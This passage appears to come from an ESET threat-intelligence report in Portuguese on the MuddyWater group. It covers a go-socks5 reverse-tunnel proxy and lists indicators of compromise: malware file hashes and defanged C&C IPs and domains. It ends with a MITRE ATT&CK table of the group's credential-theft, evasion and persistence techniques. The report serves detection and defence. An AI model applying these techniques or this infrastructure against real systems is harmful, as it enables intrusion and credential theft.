build -ldflags="-w -s"
build CGO_ENABLED=1
build CGO_CFLAGS=
build CGO_CPPFLAGS=
build CGO_CXXFLAGS=
build CGO_LDFLAGS=
build GOARCH=amd64
build GOOS=windows
build GOAMD64=v1

Figura 9. Cadeias de configuração de compilação das variantes go-socks5 do MuddyWater.

O objetivo principal do proxy go-socks5 do MuddyWater é retransmitir a comunicação entre a máquina comprometida (em uma porta específica) e um servidor C&C codificado, usando uma chave de conexão codificada para autenticar com o servidor C&C via SSL/TLS. Essa configuração permite que o invasor encaminhe o tráfego de C&C (possivelmente relacionado a outros comprometimentos) por meio do computador comprometido e, assim, oculte o local do servidor de C&C real.

Evolução do MuddyWatter

Essa campanha indica uma evolução na maturidade operacional do MuddyWater. A implementação de componentes anteriormente não documentados, como o carregador Fooder e o backdoor MuddyViper, sinaliza um esforço para aprimorar os recursos de furtividade, persistência e coleta de credenciais. O uso de técnicas de evasão inspiradas em jogos, tunelamento reverso e um conjunto diversificado de ferramentas reflete uma abordagem mais refinada do que em campanhas anteriores, embora permaneçam traços da imaturidade operacional do grupo.

O MuddyWater continua sendo capaz de executar campanhas de nível médio a acima da média, ou seja, oportunas, eficazes e cada vez mais difíceis de defender. Embora avaliemos que o grupo seguirá como um agente relevante nas atividades relacionadas ao Irã, prevemos a continuidade de campanhas típicas, porém aprimoradas por TTPs mais avançadas.

A ESET continuará monitorando as atividades do grupo, concentrando-se em novos sinais de avanço técnico e direcionamento estratégico do governo, militares, telecomunicações e infraestrutura crítica.

Para qualquer dúvida sobre nossa pesquisa publicada no WeLiveSecurity, entre em contato conosco pelo e-mail threatintel@eset.com.

Indicadores de Comprometimento

Arquivos

SHA-1 Filename Detection Description
76632910CF67697BF5D7285FAE38BFCF438EC082 OsUpdater.exe Win64/MuddyWater.E MuddyWater – Fooder launcher.
1723D5EA7185D2E339FA9529D245DAA5D5C9A932 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
69B097D8A3205605506E6C1CC3C13B71091CB519 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
B7A8F09CB5FF8A33653988FFBA585118ACF24C13 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
B8997526E4781A6A1479690E30072F38E091899D stealer.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
8E21DE54638A79D8489C59D958B23FE22E90944A 7d1e9726b5YZPYc.dll Win32/MuddyWater.B MuddyWater – CE-Notes browser-data stealer.
CD47420F5CE408D95C98306D78B977CDA0400C8F fe197add74IVcQn.exe Win64/MuddyWater.I MuddyWater – CE-Notes browser-data stealer.
C1299E8C9A8567A9C292157F3ED65B818AA78900 vmsvc.exe Win64/MuddyWater.I MuddyWater – CE-Notes browser-data stealer.
29CDA06701F9A9C0A6791775C3EB70F5B52BBEFF 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – LP-Notes credential stealer.
8F3ED626E7B929450E36E97BA5539C8371DF0EF8 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – LP-Notes credential stealer.
007B5CD6D6ACF972F7743F79E23CAB9BB2ECBEE3 Dsync-es.exe Win64/MuddyWater.F MuddyWater – Mimikatz loader.
CD36F93DBC4C718930593D8F029EFDCAA52B619B App_chek.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded HackBrowserData tool.
47B70C47BEB33E88B4197D6AF1B768230E51B067 steam.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel.
D46900D78AE036967E0B37F9EC6A8000131AE604 antimage.exe Win32/MuddyWater.A MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel.
0657D0B0610618886DDD74C3D0A1D582CDD24863 wtsapi32.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
2939FD218E0145D730BD94AA1C76386A5259EACE msi.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
3BC6502A55A4D5D29132DA4D9943E154A810CC83 WinWin.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
7950296331802188EB99E232E2C383CB9FDD5D7D 20241118_223247_Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
8580824FE14DB158388102B16C1C79DFBBA36083 Launcher.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
B48B93B4EB69D01588D371356EDE614C5E7378DE Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
EA8A1C2382FF765709D7F78EF60482598E4C0DEB vcruntime140_1.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
EAF4BAFC62170C9FCA1F6B591848883DBF97F93D Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
F5EFBA6CCBA5A6AD6C3AFA928C0E5EAA44597411 ncrypt.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
13DA612D75DC5268F5235F5BACE6D8F0DB0091FF WinWin(persist).exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
25361183DE63F296BA71B6FCF0725E022B3C989A 0bff183a39ruQsY.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
0E9A4892CFA1C9065B36D8F2E164E28609A8CF5D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
2B09241CA025BDC4455E9F6BA6009E2F27C08EDF dttcodexgigas.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
2E9BE23CDD8152DB6CD1A54E001C4EA82FF6F1C6 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
45FA7DE711FEA1F8D1E348E87834246C455DD2ED fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
4E0EF2386980639FC5355FD68DAFF54EB2AD622E 20d188afdcWgOQB.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
4E9529BA4A6E42D6278D37E3FDEE9E1D991CEBE0 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
50C6D4A2AD16A231CF11C43F3BBC868D90E20D25 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – go‑socks5 reverse tunnel.
52009F36058337B6401DA0A0F4885A0C185F0520 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
535882B6EDAB29247E035236A84CA510FB1E0854 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
544CE18E4C1F1B288DEE6018DFCF4E4D4A315F7A 1110254b63WfTEa.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
54EBC125039CC83E4682CA44DD592534562B25C3 FMAPP.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
5A08150C1DC17E9F691296F0A577C2EC9BA8028C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 proxy reverse tunnel.
5D1E61DA8083C41FF1FC23A1222A4A88B43A4E9B bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
6532E0437C8913FA418F1EE258561B15BBEE9052 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
6CA41565844118385B345A39A9B79E0BBC0DD338 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – go‑socks5 reverse tunnel.
6FC50A99AAE1D6C40111632D4F49BD19F9794CF6 8525e604dfKuDNr.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
826CFF5D85713CE4B2F3C15AB53A84E6848D2E2C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
87ADD79C7C8335447113EE0D413F52AE2B17F066 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
93055115559219BE8441880597C533381B99213B main.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
97C3376AB551E899F347CC9DDF49EA01DB2D7903 504f53ca8esoLmG.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
99FAD0862E2E8D363F3E18952FD92E09493CC27D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A101CBCCD950AA36FC3B40C3C331FDE43ACDBBD2 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A227C0A4425E24268B759A740231676A589CA4E6 fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A997A7AAE727D2C12CCE80FE3607317775A4DF3E fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B0271CA76052EC340014D7BCCDBD69325A4E60F2 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B0CD4F5DF192BFFE6500E44B80C28505DFD9CA66 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B16E7D56A8DC0FF6B3AFD797E1EAB22B20DFFB39 ESETGO.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
D49979D0063B28BD73390481E6AE642C00CE0791 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
D518F5C648AB64B390A29AA2858219318CFC556A bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
DF223D653F761ED55F9C0774F1DBF545FD741F86 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
DF8FC5213AA11EE445EAD1AAE17A826E7D51A743 Revoke.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
E02DD79A8CAED662969F6D5D0792F2CB283116E8 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
E8F4EA3857EF5FDFEC1A2063D707609251F207DB main.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
F26CAE9E79871DF3A47FA61A755DC028C18451FC 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
FF09608790077E1BA52C03D9390E0805189ADAD7 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A9747A3F58F8F408FECEFC48DB0A18A1CB6DACAE AppVs.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.

Rede

IP Domain Hosting provider First seen Details
3.95.7[.]142 N/A Amazon Data Services NoVa 2024‑09‑08 MuddyWater C&C server.
35.175.224[.]64 N/A Amazon Technologies Inc. 2024‑10‑10 MuddyWater C&C server.
51.16.209[.]105 api.tikavodot.co[.]il Amazon Data Services Ireland Technical Role Account 2024‑09‑15 MuddyWater C&C server.
62.106.66[.]112 N/A RIPE-NCC-HM-MNT, ORG-NCC1-RIPE 2024‑09‑29 MuddyWater staging server.
157.20.182[.]45 N/A Hosterdaddy Private Limited 2024‑04‑18 MuddyWater staging server.
161.35.172[.]55 N/A  DigitalOcean, LLC 2022‑11‑12 MuddyWater staging server.
167.99.224[.]13 magicallyday[.]com DigitalOcean, LLC 2022‑11‑06 MuddyWater C&C server.
194.11.246[.]78 N/A HosterDaddy Private Limited 2024‑07‑23 MuddyWater C&C server.
194.11.246[.]101 processplanet[.]org Administrator 2024‑08‑27 MuddyWater staging and C&C server.
206.71.149[.]51 N/A BL Networks 2023‑10‑30 MuddyWater staging server.
212.232.22[.]136 N/A HosterDaddy Private Limited 2025‑01‑16 MuddyWater C&C server.

Técnicas do MITRE ATT&CK

Esta tabela foi criada usando a versão 17 da estrutura MITRE ATT&CK.

Tactic ID Name Description
Reconnaissance T1591 Gather Victim Org Information MuddyWater gathers victim org info to use in spearphishing emails.
Resource Development T1583 Acquire Infrastructure MuddyWater uses acquired infrastructure to host malware download locations and C&C servers.
T1608 Stage Capabilities MuddyWater stages tools like RMM tools and data stealers on file-hosting sites such as OneHub and Mega Limited.
T1587.001 Develop Capabilities: Malware MuddyWater develops backdoors like MuddyViper and tools such as the Fooder loader, LP-Notes credential stealer, and the Blub and CE-Notes browser-data stealers.
T1588.002 Obtain Capabilities: Tool MuddyWater uses publicly available tools from GitHub, such as HackBrowserData and Go-based reverse proxies.
Initial Access T1566.002 Phishing: Spearphishing Link MuddyWater uses spearphishing emails with links to file hosting sites like OneHub and Mega Limited to host RMM software (Atera, Level, and PDQ).
Execution T1059.001 Command-Line Interface: PowerShell MuddyViper has the capability to open and execute PowerShell scripts.
T1059.003 Command-Line Interface: Windows Command Shell MuddyViper has the capability to offer the Windows Command shell as a reverse shell.
T1559.001 Inter-Process Communication: Component Object Model MuddyViper uses the ITaskService COM object to create a scheduled task for persistence.
T1106 Native API MuddyViper uses the CreateProcess API to execute additional files and commands.
T1204.001 User Execution: Malicious Link MuddyWater operators rely on targets clicking malicious links delivered through spearphishing.
Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder MuddyViper has the capability to copy itself to the victim’s Startup folder.
T1543.003 Create or Modify System Process: Windows Service MuddyWater operators attempt to install RMM tools in %PROGRAMFILES%, which also includes creating a Windows service set to autostart.
T1053 Scheduled Task/Job MuddyViper can be persisted as a scheduled task named ManageOnDriveUpdater.
Defense Evasion T1134.001 Access Token Manipulation: Token Impersonation/Theft The LP-Notes and CE-Notes tools attempt to impersonate a logged-on user’s security context via ImpersonateLoggedOnUser.
T1140  Deobfuscate/Decode Files or Information Blub uses string obfuscation for storing stolen data.
Fooder can extract embedded, AES-encrypted payloads.
CE-Notes and LP-Notes both use a custom byte-wise decryption routine to decrypt strings.
T1620 Reflective Code Loading The Fooder loader performs reflective code loading to run additional tools (MuddyViper, reverse tunnels, and HackingBrowserData).
T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion MuddyViper uses many calls to a sleep function to detect and avoid virtualization and analysis environments, and generally to inhibit dynamic analysis.
T1027.007 Obfuscated Files or Information: Dynamic API Resolution CE-Notes and LP-Notes perform dynamic API resolution by decrypting strings at runtime.
T1134.002 Access Token Manipulation: Create Process with Token  Fooder’s launcher attempts to duplicate the token of a process specified by the operator when launching Fooder via CreateProcessAsUserA.
T1622 Debugger Evasion  MuddyViper searches for specific debugging tools, adjusting its behavior accordingly.
T1070.009 Indicator Removal: Clear Persistence MuddyViper can modify registry keys used for persistence, if instructed to uninstall itself.
T1070.004 Indicator Removal: File Deletion MuddyViper can delete itself from the system, if instructed to uninstall itself.
T1036 Masquerading Some versions of Fooder masquerade as an innocuous Snake game.
T1036.004 Masquerading: Masquerade Task or Service MuddyViper can create a task named ManageOnDriveUpdater.
T1112 Modify Registry MuddyViper can modify the HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup and HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup registry keys, to change the location of the Startup folder.
T1027.009 Obfuscated Files or Information: Embedded Payloads Fooder can extract an embedded, AES-encrypted payload.
T1027.013 Obfuscated Files or Information: Encrypted/Encoded File Fooder can extract an embedded, AES-encrypted payload.
Credential Access T1555.003 Credentials from Password Stores: Credentials from Web Browsers CE-Notes and Blub attempt to steal credentials stored in browsers.
T1056.002  Input Capture: GUI Input Capture MuddyViper and LP-Notes have the ability to display a Windows security login prompt to capture login credentials and confirm the credentials’ veracity by relaying those credentials to legitimate Windows APIs.
Discovery T1082  System Information Discovery MuddyViper collects system information from compromised systems and reports it back to the C&C server.
T1518.001 Software Discovery: Security Software Discovery MuddyViper attempts to get a process list of running applications, looks for security-related processes and, if found, reports them to the C&C server and modifies its behavior.
Collection T1074.001 Data Staged: Local Data Staging Blub, CE-Notes, and LP-Notes stage stolen credentials on disk for MuddyViper, reverse tunnels, or RMM tools to collect and exfiltrate.
T1560.001  Archive Collected Data: Archive via Utility MuddyViper uses PowerShell’s Compress-Archive command to compress browser data collected via the HackBrowserData utility.
Command and Control T1573.001 Encrypted Channel: Symmetric Cryptography MuddyViper uses AES-CBC encryption to encrypt data before exchanging data with the C&C server.
T1219 Remote Access Software MuddyWater use Atera, Level, and PDQ RMM tools for remote access to victims’ systems.
T1071.001 Application Layer Protocol: Web Protocols MuddyViper uses HTTPS for C&C communications. The reverse tunnels use a mixture of HTTP and HTTPS for C&C communications.
T1105 Ingress Tool Transfer MuddyViper has the capability to download additional payloads from its C&C server.
T1001 Data Obfuscation MuddyViper leverages HTTPS for C&C communications, using the Status header to hide a backdoor command ID in the server-to-client direction of the communication.
T1090 Proxy MuddyWater uses customized versions of go‑socks5 reverse proxy tools.
Exfiltration T1041 Exfiltration Over C2 Channel MuddyWater tools exfiltrate data to C&C servers using C&C channels (HTTP and HTTPS).
T1030 Data Transfer Size Limits MuddyViper supports downloading/‌uploading files in chunks of limited size.